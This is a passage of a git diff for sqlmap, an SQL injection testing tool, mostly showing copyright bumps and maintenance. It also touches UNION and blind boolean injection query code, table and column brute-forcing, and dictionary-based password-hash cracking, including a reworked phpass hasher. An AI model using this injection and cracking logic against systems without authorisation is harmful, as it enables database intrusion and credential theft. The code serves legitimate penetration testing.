INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop) + output = _oneShotUnionUse(query, False) + value = parseUnionPage(output) + kb.jsonAggMode = False + # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time @@ -261,9 +282,9 @@ def unionUse(expression, unpack=True, dump=False): else: stopLimit = int(count) - infoMsg = "used SQL query returns " - infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") - logger.info(infoMsg) + debugMsg = "used SQL query returns " + debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry") + logger.debug(debugMsg) elif count and (not isinstance(count, six.string_types) or not count.isdigit()): warnMsg = "it was not possible to count the number " @@ -411,7 +432,7 @@ def unionThread(): duration = calculateDeltaSeconds(start) if not kb.bruteMode: - debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) + debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration) logger.debug(debugMsg) return value diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 649b9f60284..33a15460407 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -29,6 +29,8 @@ from lib.core.convert import dejsonize from lib.core.convert import encodeBase64 from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.convert import jsonize from lib.core.data import conf from lib.core.data import kb @@ -47,6 +49,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT +from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser @@ -58,6 +61,7 @@ from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run from thirdparty.bottle.bottle import server_names +from thirdparty import six from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import input as _input from thirdparty.six.moves import urllib as _urllib @@ -459,7 +463,7 @@ def option_get(taskid): logger.debug("(%s) Requested value for unknown option '%s'" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option '%s'" % option}) - logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ",".join(options))) + logger.debug("(%s) Retrieved values for option(s) '%s'" % (taskid, ','.join(options))) return jsonize({"success": True, "options": results}) @@ -597,7 +601,7 @@ def scan_log_limited(taskid, start, end): logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - if not start.isdigit() or not end.isdigit() or end < start: + if not start.isdigit() or not end.isdigit() or int(end) < int(start): logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) @@ -655,6 +659,15 @@ def download(taskid, target, filename): logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) +@get("/version") +def version(token=None): + """ + Fetch server version + """ + + logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) + return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]}) + def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None): """ REST-JSON API server @@ -705,23 +718,25 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST errMsg += "List of supported adapters: %s" % ', '.join(sorted(list(server_names.keys()))) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter - errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip install %s')" % (adapter, adapter) + errMsg += "(Note: you can try to install it with 'sudo apt install python-%s' or 'sudo pip%s install %s')" % (adapter, '3' if six.PY3 else "", adapter) logger.critical(errMsg) def _client(url, options=None): logger.debug("Calling '%s'" % url) try: - data = None - if options is not None: - data = jsonize(options) headers = {"Content-Type": "application/json"} + if options is not None: + data = getBytes(jsonize(options)) + else: + data = None + if DataStore.username or DataStore.password: headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False) req = _urllib.request.Request(url, data, headers) response = _urllib.request.urlopen(req) - text = response.read() + text = getText(response.read()) except: if options: logger.error("Failed to load and parse %s" % url) @@ -756,7 +771,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non logger.critical(errMsg) return - commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit") + commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit") autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) taskid = None @@ -845,6 +860,13 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non continue logger.info("Switching to task ID '%s' " % taskid) + elif command in ("version",): + raw = _client("%s/%s" % (addr, command)) + res = dejsonize(raw) + if not res["success"]: + logger.error("Failed to execute command %s" % command) + dataToStdout("%s\n" % raw) + elif command in ("list", "flush"): raw = _client("%s/admin/%s" % (addr, command)) res = dejsonize(raw) @@ -869,6 +891,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non msg += "stop Stop current task\n" msg += "kill Kill current task\n" msg += "list Display all tasks\n" + msg += "version Fetch server version\n" msg += "flush Flush tasks (delete all tasks)\n" msg += "exit Exit this client\n" diff --git a/lib/utils/brute.py b/lib/utils/brute.py index ed2c2b6612c..a03fe1b40c7 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -41,6 +41,7 @@ from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_DBMSES from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.request import inject @@ -83,7 +84,7 @@ def tableExists(tableFile, regex=None): pushValue(conf.db) - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() message = "which common tables (wordlist) file do you want to use?\n" @@ -131,7 +132,11 @@ def tableExistsThread(): else: fullTableName = table - result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) + if Backend.isDbms(DBMS.MCKOI): + _ = randomInt(1) + result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() @@ -197,7 +202,7 @@ def columnExists(columnFile, regex=None): errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) @@ -250,7 +255,10 @@ def columnExistsThread(): kb.locks.count.release() break - result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) + if Backend.isDbms(DBMS.MCKOI): + result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) + else: + result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() @@ -291,6 +299,8 @@ def columnExistsThread(): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 574916eca8e..0b1f790ab9b 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 1b184f1d03b..da2d19317cf 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -29,7 +29,7 @@ def checkDependencies(): logger.warn(warnMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") - elif dbmsName == DBMS.PGSQL: + elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): __import__("psycopg2") elif dbmsName == DBMS.ORACLE: __import__("cx_Oracle") @@ -41,11 +41,23 @@ def checkDependencies(): __import__("kinterbasdb") elif dbmsName == DBMS.DB2: __import__("ibm_db_dbi") - elif dbmsName == DBMS.HSQLDB: + elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE): __import__("jaydebeapi") __import__("jpype") elif dbmsName == DBMS.INFORMIX: __import__("ibm_db_dbi") + elif dbmsName == DBMS.MONETDB: + __import__("pymonetdb") + elif dbmsName == DBMS.DERBY: + __import__("drda") + elif dbmsName == DBMS.VERTICA: + __import__("vertica_python") + elif dbmsName == DBMS.PRESTO: + __import__("prestodb") + elif dbmsName == DBMS.MIMERSQL: + __import__("mimerpy") + elif dbmsName == DBMS.CUBRID: + __import__("CUBRIDdb") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 25b899f9b35..f5da1509b87 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/har.py b/lib/utils/har.py index 0dabb2b366a..a2cc5ccab6d 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 0779d6ca7d2..a69d96d2269 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -33,7 +33,7 @@ import base64 import binascii import gc -import hashlib +import math import os import re import tempfile @@ -248,18 +248,6 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version ' return retVal.upper() if uppercase else retVal.lower() -def md4_generic_passwd(password, uppercase=False): - """ - >>> md4_generic_passwd(password='testpass', uppercase=False) - '5b4d300688f19c8fd65b8d6ccf98e0ae' - """ - - password = getBytes(password) - - retVal = hashlib.new("md4", password).hexdigest() - - return retVal.upper() if uppercase else retVal.lower() - def md5_generic_passwd(password, uppercase=False): """ >>> md5_generic_passwd(password='testpass', uppercase=False) @@ -494,14 +482,20 @@ def vbulletin_passwd(password, salt, **kwargs): return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt) -def wordpress_passwd(password, salt, count, prefix, **kwargs): +def phpass_passwd(password, salt, count, prefix, **kwargs): """ Reference(s): - http://packetstormsecurity.org/files/74448/phpassbrute.py.txt + https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt http://scriptserver.mainframe8.com/wordpress_password_hasher.php + https://www.openwall.com/phpass/ + https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py - >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp') + >>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$') '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0' + >>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$') + '$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/' + >>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$') + '$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W' """ def _encode64(input_, count): @@ -536,18 +530,24 @@ def _encode64(input_, count): return output password = getBytes(password) - salt = getBytes(salt) + f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix] - cipher = md5(salt) + cipher = f(getBytes(salt)) cipher.update(password) hash_ = cipher.digest() for i in xrange(count): - _ = md5(hash_) + _ = f(hash_) _.update(password) hash_ = _.digest() - return "%s%s" % (prefix, _encode64(hash_, 16)) + retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_))) + + if prefix == "$S$": + # Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x + retVal = retVal[:55] + + return retVal __functions__ = { HASH.MYSQL: mysql_passwd, @@ -568,7 +568,7 @@ def _encode64(input_, count): HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, - HASH.WORDPRESS: wordpress_passwd, + HASH.PHPASS: phpass_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, HASH.APACHE_SHA1: apache_sha1_passwd, @@ -583,6 +583,41 @@ def _encode64(input_, count): HASH.SHA512_BASE64: sha512_generic_passwd, } +def _finalize(retVal, results, processes, attack_info=None): + if _multiprocessing: + gc.enable() + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367 + # NOTE: https://dzone.com/articles/python-101-creating-multiple-processes + for process in processes: + try: + process.terminate() + process.join() + except (OSError, AttributeError): + pass + + if retVal: + removals = set() + + if conf.hashDB: + conf.hashDB.beginTransaction() + + while not retVal.empty(): + user, hash_, word = item = retVal.get(block=False) + results.append(item) + removals.add((user, hash_)) + hashDBWrite(hash_, word) + + for item in attack_info or []: + if (item[0][0], item[0][1]) in removals: + attack_info.remove(item) + + if conf.hashDB: + conf.hashDB.endTransaction() + + if hasattr(retVal, "close"): + retVal.close() + def storeHashesToFile(attack_dict): if not attack_dict: return @@ -740,21 +775,40 @@ def attackDumpedTable(): table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) def hashRecognition(value): + """ + >>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC + True + >>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE + True + >>> hashRecognition("foobar") == None + True + """ + retVal = None - isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) + if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes) + isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) - if isinstance(value, six.string_types): - for name, regex in getPublicTypeMembers(HASH): - # Hashes for Oracle and old MySQL look the same hence these checks - if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: - continue - elif regex == HASH.CRYPT_GENERIC: - if any((value.lower() == value, value.upper() == value)): + if kb.cache.hashRegex is None: + parts = [] + + for name, regex in getPublicTypeMembers(HASH): + # Hashes for Oracle and old MySQL look the same hence these checks + if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue - elif re.match(regex, value): - retVal = regex - break + elif regex == HASH.CRYPT_GENERIC: + if any((value.lower() == value, value.upper() == value)): + continue + else: + parts.append("(?P<%s>%s)" % (name, regex)) + + kb.cache.hashRegex = ('|'.join(parts)).replace("(?i)", "") + + if isinstance(value, six.string_types): + match = re.search(kb.cache.hashRegex, value, re.I) + if match: + algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0] + retVal = getattr(HASH, algorithm) return retVal @@ -916,6 +970,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found proc_count.value -= 1 def dictionaryAttack(attack_dict): + global _multiprocessing + suffix_list = [""] custom_wordlist = [""] hash_regexes = [] @@ -925,6 +981,9 @@ def dictionaryAttack(attack_dict): processException = False foundHash = False + if conf.disableMulti: + _multiprocessing = None + for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: @@ -954,7 +1013,7 @@ def dictionaryAttack(attack_dict): try: item = None - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): @@ -983,9 +1042,9 @@ def dictionaryAttack(attack_dict): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] - elif hash_regex in (HASH.WORDPRESS,): + elif hash_regex in (HASH.PHPASS,): if ITOA64.index(hash_[3]) < 32: - item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}] + item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] else: warnMsg = "invalid hash '%s'" % hash_ logger.warn(warnMsg) @@ -1013,7 +1072,7 @@ def dictionaryAttack(attack_dict): while not kb.wordlists: # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD,): + if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] @@ -1111,7 +1170,7 @@ def dictionaryAttack(attack_dict): else: warnMsg = "multiprocessing hash cracking is currently " - warnMsg += "not supported on this platform" + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) retVal = _queue.Queue() @@ -1123,29 +1182,8 @@ def dictionaryAttack(attack_dict): warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) - for process in processes: - try: - process.terminate() - process.join() - except (OSError, AttributeError): - pass - finally: - if _multiprocessing: - gc.enable() - - if retVal: - if conf.hashDB: - conf.hashDB.beginTransaction() - - while not retVal.empty(): - user, hash_, word = item = retVal.get(block=False) - attack_info = [_ for _ in attack_info if _[0][0] != user or _[0][1] != hash_] - hashDBWrite(hash_, word) - results.append(item) - - if conf.hashDB: - conf.hashDB.endTransaction() + _finalize(retVal, results, processes, attack_info) clearConsoleLine() @@ -1199,7 +1237,7 @@ def dictionaryAttack(attack_dict): else: warnMsg = "multiprocessing hash cracking is currently " - warnMsg += "not supported on this platform" + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) class Value(object): @@ -1227,20 +1265,7 @@ class Value(object): pass finally: - if _multiprocessing: - gc.enable() - - if retVal and conf.hashDB: - if conf.hashDB: - conf.hashDB.beginTransaction() - - while not retVal.empty(): - user, hash_, word = item = retVal.get(block=False) - hashDBWrite(hash_, word) - results.append(item) - - if conf.hashDB: - conf.hashDB.endTransaction() + _finalize(retVal, results, processes, attack_info) clearConsoleLine() diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index dc8c503e7c3..a5f85fa09cd 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -68,7 +68,7 @@ def close(self): @staticmethod def hashKey(key): - key = getBytes(key if isinstance(key, six.text_type) else repr(key)) + key = getBytes(key if isinstance(key, six.text_type) else repr(key), errors="xmlcharrefreplace") retVal = int(hashlib.md5(key).hexdigest(), 16) & 0x7fffffffffffffff # Reference: http://stackoverflow.com/a/4448400 return retVal @@ -116,7 +116,7 @@ def write(self, key, value, serialize=False): self._write_cache[hash_] = getUnicode(value) if not serialize else serializeObject(value) self._cache_lock.release() - if getCurrentThreadName() in ('0', 'MainThread'): + if getCurrentThreadName() in ('0', "MainThread"): self.flush() def flush(self, forced=False): diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index 0e6ef93256d..ae9a8752811 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 254621102f4..fd9128d943f 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -113,7 +113,7 @@ def pivotDumpTable(table, colList, count=None, blind=True, alias=None): break if not validColumnList: - errMsg = "all column name(s) provided are non-existent" + errMsg = "all provided column name(s) are non-existent" raise SqlmapNoneDataException(errMsg) if not validPivotValue: diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 76ad2cf06b3..cc6e1edee11 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -93,11 +93,8 @@ def draw(self, eta=None): dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??")))) if self._amount >= self._max: - if not conf.liveTest: - dataToStdout("\r%s\r" % (" " * self._width)) - kb.prependFlag = False - else: - dataToStdout("\n") + dataToStdout("\r%s\r" % (" " * self._width)) + kb.prependFlag = False def __str__(self): """ diff --git a/lib/utils/purge.py b/lib/utils/purge.py index d722fc67c30..cc1174f4e71 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -80,8 +80,6 @@ def purge(directory): pass logger.debug("deleting the whole directory tree") - os.chdir(os.path.join(directory, "..")) - try: shutil.rmtree(directory) except OSError as ex: diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index 50a6d509394..6aa57aa4b7c 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/search.py b/lib/utils/search.py index 8c239b7df31..009f5797e88 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,7 @@ from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import urlencode +from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -103,6 +104,8 @@ def _search(dork): page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + page = getUnicode(page) # Note: if upper function call fails (Issue #4202) + retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] if not retVal and "detected unusual traffic" in page: @@ -127,12 +130,12 @@ def _search(dork): url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1) regex = BING_REGEX else: - url = "https://duckduckgo.com/html/" + url = "https://html.duckduckgo.com/html/" data = "q=%s&s=%d" % (urlencode(dork, convall=True), (gpage - 1) * 30) regex = DUCKDUCKGO_REGEX try: - req = _urllib.request.Request(url, data=data, headers=requestHeaders) + req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders) conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 4a8d1d705e8..89787a24b6b 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import imp import logging import os +import re import sys import traceback import warnings @@ -41,7 +42,12 @@ def getSafeExString(ex, encoding=None): # Cross-referenced function class SQLAlchemy(GenericConnector): def __init__(self, dialect=None): GenericConnector.__init__(self) + self.dialect = dialect + self.address = conf.direct + + if self.dialect: + self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address) def connect(self): if _sqlalchemy: @@ -52,18 +58,15 @@ def connect(self): if not os.path.exists(self.db): raise SqlmapFilePathException("the provided database file '%s' does not exist" % self.db) - _ = conf.direct.split("//", 1) - conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) - - if self.dialect: - conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) + _ = self.address.split("//", 1) + self.address = "%s////%s" % (_[0], os.path.abspath(self.db)) if self.dialect == "sqlite": - engine = _sqlalchemy.create_engine(conf.direct, connect_args={"check_same_thread": False}) + engine = _sqlalchemy.create_engine(self.address, connect_args={"check_same_thread": False}) elif self.dialect == "oracle": - engine = _sqlalchemy.create_engine(conf.direct) + engine = _sqlalchemy.create_engine(self.address) else: - engine = _sqlalchemy.create_engine(conf.direct, connect_args={}) + engine = _sqlalchemy.create_engine(self.address, connect_args={}) self.connector = engine.connect() except (TypeError, ValueError): diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 27c7167054e..d75a4f74b0c 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 